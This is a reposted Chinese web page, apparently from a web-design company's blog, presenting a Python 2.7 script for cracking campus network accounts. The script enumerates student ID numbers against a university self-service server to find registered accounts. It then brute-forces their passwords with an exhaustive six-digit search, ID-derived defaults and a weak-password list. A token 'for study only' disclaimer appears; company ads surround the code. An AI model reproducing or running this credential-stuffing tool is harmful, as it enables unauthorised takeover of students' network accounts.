校園網(wǎng)密碼破解程序-創(chuàng)新互聯(lián)

環(huán)境:Python 2.7

創(chuàng)新互聯(lián)公司是一家網(wǎng)站設計公司,集創(chuàng)意、互聯(lián)網(wǎng)應用、軟件技術(shù)為一體的創(chuàng)意網(wǎng)站建設服務商,主營產(chǎn)品:成都響應式網(wǎng)站建設、成都品牌網(wǎng)站建設、網(wǎng)絡營銷推廣。我們專注企業(yè)品牌在網(wǎng)站中的整體樹立,網(wǎng)絡互動的體驗,以及在手機等移動端的優(yōu)質(zhì)呈現(xiàn)。成都網(wǎng)站設計、成都做網(wǎng)站、移動互聯(lián)產(chǎn)品、網(wǎng)絡運營、VI設計、云產(chǎn)品.運維為核心業(yè)務。為用戶提供一站式解決方案,我們深知市場的競爭激烈,認真對待每位客戶,為客戶提供賞析悅目的作品,網(wǎng)站的價值服務。#!/usr/bin/env python #coding=utf8 print "+"*50 print u"功能:簡單破解校園網(wǎng)賬號" print u"微信公眾號:電腦趣事" print u"僅供學習交流使用,嚴禁違法犯罪,否則后果自負" print "+"*50 import httplib import urllib import re username=[] httpClient = None If_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314] def Determine(): nj = int(raw_input("please select a class 15,16,17:").strip()) start =int(raw_input("please input start(Prompt:1234):").strip()) end = int(raw_input("please input end(Prompt:5678):").strip()) if (end <=start or (nj != 15 and nj != 16 and nj!=17)): print u"輸入有誤,請重新選擇" print '='*50 menu() exit() else: print "please wait a moment " #構(gòu)造學號 for i in range(start,end):     for j in range(0,100):         key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))                  try:             params = urllib.urlencode({'key': key_numer})             headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}             httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)             httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)             response = httpClient.getresponse()             right_or_wrong = response.read()             #正則和判斷             zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)             if len(zhengze) == 1:                 username.append(key_numer)                      except Exception, e:             print e         finally:             if httpClient:                 httpClient.close() print "."*50 print u"在這個范圍內(nèi)已開通的賬號有:" print "" print username print "."*50 return username def Connect(UserName,PassWord): global a try: params = urllib.urlencode({'name': UserName,'password':PassWord}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30) httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers) response = httpClient.getresponse() right_or_wrong = response.read() pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I) if len(pipei)==1: a = 0 #判斷是否爆破出來的標記 pass else: print u"賬號:%s\000\000密碼:%s"%(UserName,PassWord) a = 1 except Exception, e: print e finally: if httpClient:     httpClient.close() return a def yanzheng(): UserName = str(raw_input("please select a username input:").strip()) for i in range(0,1000000): PassWord = str(i).zfill(6) Connect(UserName,PassWord) if a == 1: break else: pass def Default_password_single(): UserName = str(raw_input("please select a username input:").strip()) PassWord = UserName[3:10] Connect(UserName,PassWord) if a ==0: PassWord = '123456' Connect(UserName,PassWord) if a==0: print u"已經(jīng)查找完成" def Default_password_not_single(): print "please wait a moment" for i in range(0,len(username)): UserName = str(username[i]) PassWord = UserName[3:10] Connect(UserName,PassWord) if a ==0: PassWord = '123456' Connect(UserName,PassWord) if (i==len(username)-1 and a == 0): print u"已經(jīng)查找完成" def if_password(): print "please wait a moment" for i in range(0,len(username)): UserName = str(username[i]) for j in range(0,len(If_password)): PassWord = If_password[j] Connect(UserName,PassWord) if (i==len(username)-1 and j==len(If_password)-1 and a == 0): print u"已經(jīng)查找完畢" def menu():     print u"歡迎大家關(guān)注微信公眾號:“電腦趣事”,請選擇菜單"     while True:      print "*"*50      print u"\t(1) 查看已經(jīng)注冊的賬號"      print u"\t(2) 簡單的爆破"      print u"\t(3) 默認密碼單個查詢"      print u"\t(4) 默認密碼批量查詢"      print u"\t(5) 弱口令爆破"      print "*"*50         choices = raw_input("Please choices:").strip()         if len(choices) == 0:          continue         if choices == '1':          Determine()      elif choices == '2':      yanzheng()      elif choices == '3':      Default_password_single()      elif choices == '4':      Default_password_not_single()      elif choices == '5':      if_password()         else:             print u"請注意賬號安全!"             exit() if __name__ == '__main__': menu()


微信公眾號

校園網(wǎng)密碼破解程序

另外有需要云服務器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn,海內(nèi)外云服務器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務可用性高、性價比高”等特點與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應用場景需求。

網(wǎng)頁名稱:校園網(wǎng)密碼破解程序-創(chuàng)新互聯(lián)
鏈接分享:http://muchs.cn/article20/dpdjjo.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供定制網(wǎng)站、品牌網(wǎng)站建設、移動網(wǎng)站建設、網(wǎng)站建設、網(wǎng)站收錄、自適應網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應式網(wǎng)站建設